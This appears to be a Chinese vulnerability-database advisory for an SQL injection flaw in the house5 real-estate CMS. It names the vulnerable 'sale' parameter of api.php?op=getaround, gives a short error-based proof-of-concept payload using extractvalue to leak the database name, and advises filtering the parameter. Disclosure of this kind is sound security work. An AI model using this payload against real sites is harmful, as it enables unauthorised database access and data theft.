house5 房产系统 /api.php 参数 sale...
-
AV
AC
AU
C
I
A
发布：
2025-04-13
修订：
2025-04-13
### 0x01 漏洞框架 公开时间：2015-10-20 漏洞类型：SQL注射漏洞 官方主页： http://www.house5.net/ house5房地产网站管理系统是基于PHP技术的企业级房地产门户管理系统,是国内最具影响力和技术实力的房产网站程序、房地产网站系统、房地产网上销售系统、二手房网站程序。  ### 0x02 漏洞利用 api.php?op=getaround&sale=1 sale为注入点 poc:and extractvalue(1, concat(0x7e , database()))    ### 0x03 修复方案 过滤参数
漏洞利用/PoC
暂无可用Exp或PoC
受影响的平台与产品
当前有0条受影响产品信息
